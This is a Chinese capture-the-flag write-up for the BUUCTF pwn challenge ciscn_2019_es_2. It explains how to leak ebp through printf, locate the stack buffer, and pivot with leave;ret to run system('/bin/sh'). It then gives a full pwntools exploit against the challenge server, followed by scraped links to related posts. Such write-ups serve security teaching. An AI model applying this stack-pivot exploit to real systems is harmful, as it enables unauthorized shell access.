[BUUCTF]PWN——ciscn_2019_es_2
ciscn_2019_es_2
步骤:
例行检查,32位程序,开启了nx保护

32位ida载入,shif+f12查看程序里的字符串,这边的“echo flag” 是个迷惑性的字符串,它只是输出了flag这4个字符,但是程序里有system函数,到时候这个函数可以直接拿来使用

system_addr=0x80048400

main函数

程序主体在vul函数里

读入0x30字节数据给s,s大小是0x28,只能溢出0x8字节,覆盖到ret,没法构造太长的rop,但是这边可以给s写入2次数据,我们可以通过第一次输入来泄露程序里的ebp地址,知道了ebp的地址就能够推算出参数s在栈上的地址,第二次直接往栈上写入system(‘/bin/sh’),之后利用leave;ret的栈劫持去到参数s的栈,让它去执行我们布置在栈上的system(‘/bin/sh’)来获取shell
利用过程:
一、泄露ebp
printf函数在输出的时候遇到’\0‘会停止,如果我们将参数s全部填满,这样就没法在末尾补上’\0‘,那样就会将ebp连带着输出
payload='a'*0x27+'b'
r.sendline(payload)
r.recvuntil('b')
ebp=u32(r.recv(4))
二、找到参数s在栈上的位置
首先下个断点,来调试一下我们的ebp距离参数s的位置,在main函数的nop处下断点


’bbbb‘ 是我输入的参数,可以看到ebp距离我们输入的参数的距离是0x38

ebp-0x38就拿到了我们参数s在栈上的位置
三、布置s栈上的值
由于我们要用到leave;ret来劫持栈,所以先找一下leva;ret的位置

构造
payload='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"
第一个’aaaa‘随便输入,如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
接着跟上system函数的地址
后面是执行完system函数后的返回地址,这边也可以随便写
之后是一个地址,这个地址指向的是我们写在栈上的’/bin/sh‘字符串
将参数0x28长的s补齐
payload2=payload2.ljust(0x28,'\x00'
四、栈劫持,获取shell
payload2+=p32(s)+p32(leave_ret)
完整exp
from pwn import *
r=remote('node3.buuoj.cn',28967)
sys=0x8048400
leave_ret=0x08048562
main=0xdeadbeef
payload='a'*0x27+'b'
r.send(payload)
r.recvuntil("b")
s=ebp=u32(r.recv(4))-0x38
payload2='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(s)+p32(leave_ret)
r.send(payload2)
r.interactive()

[BUUCTF]PWN——ciscn_2019_es_2的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
随机推荐
- 五、Zookeeper的Shell操作
前文 一.CentOS7 hadoop3.3.1安装(单机分布式.伪分布式.分布式 二.JAVA API实现HDFS 三.MapReduce编程实例 四.Zookeeper3.7安装 Zookeepe ...
- 21天从Java转向Go之第三天——初出茅庐
名称 Go中25个关键字 只能在语法允许的地方使用,不能做为名称 break default func interface select case defer go map struct chan e ...
- [ARC098B] Xor Sum 2
关于异或运算和代数和运算有很不错的性质: \(xor_{i = 1} ^ {n}a_i \leq \sum_{i = 1} ^ n a_i\) 所以我们考虑一段区间按题目来说是合法的,即 \(xor_ ...
- 【豆科基因组】木豆Pigeonpea (Cajanus cajan) 292个自然群体重测序2017NG
目录 一.来源 二.结果 一.来源 Whole-genome resequencing of 292 pigeonpea accessions identifies genomic regions a ...
- 【Python小试】根据外显子位置生成CDS序列
已知 genomic_dna.txt TCGATCGTACCGTCGACGATGCTACGATCGTCGATCGTAGTCGATCATCGATCGATCGACTGATCGATCGATCGATCGATC ...
- Python—安装跟爬虫相关的包
舆情爬虫分析:硬件: 4台服务器,分别放redis.python爬虫.mysql和 kafka四大板块.软件:1. mysql2. redis #leap1 /usr/bin/redis- ...
- 13.Merge k Sorted Lists
思路:利用map<int,vector<ListNode*> > 做值和指针的映射,最后将指针按值依次链接起来, 时间复杂度O(N),空间O(N) Merge k sorted ...
- C#数据库连接方式【简版】
using System;using System.Collections.Generic;using System.ComponentModel;using System.Drawing;using ...
- 详解 Rainbond Ingress 泛解析域名机制
Rainbond 作为一款云原生应用管理平台,天生带有引导南北向网络流量的分布式网关 rbd-gateway.区别于一般的 Ingress 配置中,用户需要自行定义域名的使用体验,Rainbond 的 ...
- 利用python代码获取文件特定的内容,并保存为文档
说明:有段时间需要读取上百个文件的单点能(sp),就写了下面的代码(计算化学狗努力转行中^-^) import os.path import re # 1 遍历指定目录,显示目录下的所有文件名 def ...